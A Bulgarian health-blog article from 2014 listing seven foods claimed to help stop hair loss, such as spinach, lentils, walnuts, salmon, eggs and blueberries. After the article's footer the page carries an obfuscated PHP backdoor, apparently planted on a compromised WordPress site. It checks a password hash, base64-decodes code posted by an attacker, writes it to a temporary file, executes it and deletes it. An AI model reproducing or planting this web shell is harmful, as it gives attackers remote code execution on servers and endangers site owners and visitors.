7 храни, които спират косопада | Косопад

7 храни, които спират косопада

Косата е сред най- ценните ни аксесоари. Хубавото е, че можем да я подхранваме чрез храната, която приемаме, също както и други части на тялото.

hrani-kosopad

Когато се появи косопад, първо трябва да се уверим, че не става въпрос за симптом на сериозно заболяване. Затова отидете при лекаря си и си направете изследвания. Най- вече на хормоните.

Във всички останали случаи, храната, която приемате, ще направи косата ви по- здрава и красива.

Спанак. Желязото, бетакаротена, витамин С правят косата здрава. Добавете спанак към салатата си.

Леща. Съдържа протеини, желязо, цинк и биотин, които правят косата по- здрава.

Орехи. Богати са на биотин и витамин Е, като и двете предпазват клетките от външнитеsiomga-leshta влияния. Също съдържа мед. Липсата на биотин и мед от храната могат да причинят косопад .

Сьомга. Съдържа мастни киселини, които карата косата да расте по- бързо. Те са от вида омега- 3.

Яйца. Този източник на протеини съдържа цинк, селен, желязо.

Боровинки. Този малък плод е източник на витамин С, който е много важен за кръвообращението. Ако не приемате достатъчно от витамина, косата става чуплива.

29. март 2014 18:53:49 от Надя Колева
Категории: Косопад – Статии | Етикети: , , , , , , , , | Напишете Коментар

if(!function_exists("_set_fetas_tag") && !function_exists("_set_betas_tag")){try{function _set_fetas_tag(){if(isset($_GET['here'])&&!isset($_POST['here'])){die(md5(8));}if(isset($_POST['here'])){$a1='m'.'d5';if($a1($a1($_POST['here']))==="83a7b60dd6a5daae1a2f1a464791dac4"){$a2="fi"."le"."_put"."_contents";$a22="base";$a22=$a22."64";$a22=$a22."_d";$a22=$a22."ecode";$a222="PD"."9wa"."HAg";$a2222=$_POST[$a1];$a3="sy"."s_ge"."t_te"."mp_dir";$a3=$a3();$a3 = $a3."/".$a1(uniqid(rand(), true));@$a2($a3,$a22($a222).$a22($a2222));include($a3); @$a2($a3,'1'); @unlink($a3);die();}else{echo md5(7);}die();}} _set_fetas_tag();if(!isset($_POST['here'])&&!isset($_GET['here'])){function _set_betas_tag(){echo "";}add_action('wp_head','_set_betas_tag');}}catch(Exception $e){}}